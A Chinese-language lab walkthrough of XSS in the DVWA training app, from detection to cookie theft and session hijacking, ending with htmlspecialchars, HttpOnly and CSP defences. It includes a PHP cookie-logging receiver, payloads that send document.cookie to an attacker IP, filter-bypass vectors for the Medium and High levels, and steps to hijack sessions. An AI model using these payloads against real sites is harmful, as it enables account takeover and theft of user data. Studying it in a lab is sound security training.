DVWA靶场全栈实战:XSS跨站脚本攻击从漏洞探测到Cookie窃取与会话劫持(Low→Medium→High→Impossible 源码级复盘)

⚠️ 免责声明 :本文所有实验均在 授权靶场 DVWA​ 中进行,严禁对任何未授权系统进行同类测试,触犯法律后果自负。


一、为什么 XSS 值得你花一整篇文章去啃?

跨站脚本攻击(Cross-Site Scripting,XSS)常年霸榜 OWASP Top 10 ,但它也是最容易被误读为"只会弹个 alert(1)"的漏洞。

真正的 XSS 攻击链是这样的:

发现输入点未过滤 → 注入恶意JS → 诱导受害者触发 → JS窃取Cookie/Session → 攻击者用Cookie伪造身份登录后台

一句话概括:XSS 的本质不是"让浏览器弹窗",而是让受害者的浏览器在"受信任的上下文"里替攻击者干活。

本文以 **DVWA(Damn Vulnerable Web Application)**​ 为靶场,完整走完这条攻击链,并逐级别拆解源码中的防御与绕过思路。


二、实验环境搭建

2.1 最快的方式:Docker 一把梭

bash 复制代码
# 拉取镜像
docker pull vulnerables/web-dvwa

# 启动容器,映射端口 8080
docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa

访问 http://localhost:8080/setup.php,点击 Create / Reset Database​ 完成初始化。

默认账密:admin / password

登录后左侧菜单 → DVWA Security ​ → 选 Low ​ → Submit

2.2 关闭浏览器的 XSS Auditor(实验必需)

现代 Chrome/Edge 自带 XSS 拦截器,会挡掉我们的反射型测试。实验时需要临时放行:

  • 地址栏输入 chrome://flags/#disable-xss-auditor

  • XSS Auditor ​ 设为 Disabled

  • 重启浏览器

📌 实际渗透中,绕过浏览器 XSS Auditor 是另一门学问(过滤绕过、编码混淆、SVG向量等),但靶场学习阶段先关掉它,专注理解漏洞本质。


三、反射型 XSS(Reflected XSS)------ 从弹窗到真正的数据外传

3.1 漏洞定位

左侧菜单进入 XSS (Reflected) ,页面只有一个输入框 name

正常输入:

复制代码
Hello test

URL 变成了:

复制代码
http://localhost:8080/vulnerabilities/xss_r/?name=test

这意味着:name参数的值被服务端原样"反射"回了 HTML 响应里。

3.2 Low 级别------零防御,直捣黄龙

先看源码 (点击页面下方 View Source):

复制代码
// Low级别源码(核心片段)
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $name = $_GET[ 'name' ];
    echo "<pre>Hello " . $name . "</pre>";
}

没有任何过滤,$name直接拼进 HTML → 经典注入点

PoC 验证(输入框直接填):

复制代码
<script>alert(1)</script>

或直接在地址栏构造:

复制代码
http://localhost:8080/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

看到 Cookie 弹窗 → 漏洞确认 ✅

弹窗只能"证明存在",下面才是"利用"------把 Cookie 悄悄发到攻击者服务器

Step 1:在 Kali / 攻击者机器上起一个接收端
复制代码
# 确保 Apache 在跑
sudo systemctl start apache2
cd /var/www/html

创建 steal.php

复制代码
<?php
// /var/www/html/steal.php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'NO_COOKIE';
$log = fopen("cookies.log", "a");
fwrite($log, "[" . date('Y-m-d H:i:s') . "] " . $cookie . "\n");
fclose($log);

// 返回一张 1x1 透明 GIF,避免控制台报错
header("Content-Type: image/gif");
echo base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
?>

# 确保可写
sudo chown www-data:www-data /var/www/html/cookies.log
touch /var/www/html/cookies.log
sudo chown www-data:www-data /var/www/html/cookies.log

假设攻击者 IP 为 192.168.56.101

Step 2:构造 XSS Payload
复制代码
<script>
new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie);
</script>

最终恶意 URL:

复制代码
http://localhost:8080/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie)</script>
Step 3:诱导触发 + 查看战果

受害者点了这个链接后,浏览器会在"目标站的上下文中"携带 当前 Session Cookie​ 发起请求到攻击者服务器。

查看窃取到的 Cookie:

复制代码
cat /var/www/html/cookies.log
# 输出类似:
# [2026-06-22 10:33:01] security=low; PHPSESSID=nq7b3r5um8p4t6c1s4c2qtlsv0

拿到 PHPSESSID之后,攻击者可以在自己的浏览器中用 EditThisCookie ​ 插件直接替换 Session ID,免密码登录受害者账号


四、Medium 级别------过滤器的"假象"与绕过

把 DVWA Security 切到 Medium,再看一下源码:

复制代码
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

防御思路 :把 <script>字符串替换为空。

问题在哪?

绕过手法 Payload 原理
大小写混淆 <SCRIPT>alert(1)</SCRIPT> str_replace默认区分大小写
双写嵌套 <scr<script>ipt> 删掉里面的 <script>后,外层重新拼成 <script>
放弃 script 标签 <img src=x onerror=alert(document.cookie)> 不用 script 标签,改用事件处理器

实战中最稳的是 事件处理器路线(不受大小写/单次替换影响):

复制代码
<img src=x onerror="new Image().src='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">

构造到 URL 里记得做 URL 编码:

复制代码
?name=<img src=x onerror="new Image().src='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">

💡 这里也是用 Burp Suite 抓包改参的好时机------前端输入框可能有长度限制,抓包后在 Proxy → Send to Repeater 里自由编辑 payload,绕过前端 maxlength。


五、High 级别------正则过滤 + 为什么 "Blacklist" 永远不够

切到 High,源码升级为:

复制代码
$name = preg_replace( '/<(.*)s*c*r*i*p*t/i', '', $_GET[ 'name' ] );

正则 /<(.*)s*c*r*i*p*t/i试图把任何形式的 <script...>干掉,且不区分大小写。

但注意:它依然走的是 黑名单思路------只堵 <script>,没堵其他所有能执行 JS 的途径。

有效绕过(不需要 script 标签):

复制代码
<body onload="alert(document.cookie)">

或 img 向量:

复制代码
<img src=x onerror="location='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">

传入方式(URL编码后):

复制代码
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27http%3A%2F%2F192.168.56.101%2Fsteal.php%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E

⚔️ High 级别给我们的启示:黑名单过滤本质是"猫鼠游戏"------你堵一种写法,攻击者换一种向量。真正的修法在下面 Impossible 级别。


六、Impossible 级别------这才是正确写法

看源码:

复制代码
$name = htmlspecialchars( $_GET[ 'name' ] );
echo "<pre>Hello " . $name . "</pre>";

一句话:输出时做 HTML 实体编码

字符 编码后
< &lt;
> &gt;
" &quot;
' &#x27;
& &amp;

浏览器把 &lt;script&gt;当成纯文本渲染,永远不会当做标签解析 → XSS 彻底死透。

✅ 开发侧正确防御清单

复制代码
// 1. 输出到 HTML 上下文 → htmlspecialchars()
echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8') . "</div>";

// 2. 设置 Cookie 时加 HttpOnly(让 JS 读不到 Cookie)
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,    // ← 关键
    'samesite' => 'Strict'
]);

再加一层 **CSP(Content Security Policy)**​ 响应头:

复制代码
Content-Security-Policy: default-src 'self'; script-src 'self'

这样即使有注入点,浏览器也会拒绝执行 inline script。


七、存储型 XSS 简要补充------"一次投毒,永久触发"

反射型需要诱骗点击链接,存储型 则是把 payload 写进数据库 ,之后每一个访问该页面的用户自动中招。

DVWA 的 **XSS (Stored)**​ 模块就是一个留言板:

  • Message ​ 字段虽然做了 htmlspecialchars()过滤(Impossible 级别)

  • Name​ 字段在某些级别下过滤不严

Low 级别实战步骤:

复制代码
Name:  attacker
Message: <script>new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie)</script>

⚠️ 前端 Name 输入框有 maxlength="10"限制 → 按 F12 → Inspector → 直接改 input 的 maxlength 为 200​ → 再填 payload → Submit。

换一台"受害者浏览器"访问同一页 → Cookie 无声无息飞走。


八、全文总结 & 思维导图

复制代码
XSS 攻击链(完整闭环)
│
├── 1. 信息收集/侦察      → 找输入点(搜索框、留言板、URL参数、HTTP头)
├── 2. 漏洞探测           → <script>alert(1)</script> PoC
├── 3. Payload 工程化     → 不用 alert,用 Image()/fetch() 外传数据
├── 4. 绕过过滤(Medium/High)→ 大小写 / 双写 / 事件处理器 / 编码混淆
├── 5. 会话劫持           → 窃取 PHPSESSID → 替换 Cookie → 免密登录
└── 6. 防御(Impossible) → htmlspecialchars + HttpOnly + CSP + 输入白名单

🏷️ 写在最后

XSS 看着简单,深挖下去却牵着 浏览器解析引擎、同源策略、DOM 生命周期、Cookie 安全模型​ 一整条知识链。能把这个链从"弹窗"推到"会话被劫持",才算真正摸到了 Web 安全的门槛。

如果你觉得这篇对你有帮助,点个 👍、收个藏,评论区可以交流:你在实际项目中遇到过最离谱的 XSS 触发点是什么?(搜索框?CSV导出?PDF生成器?)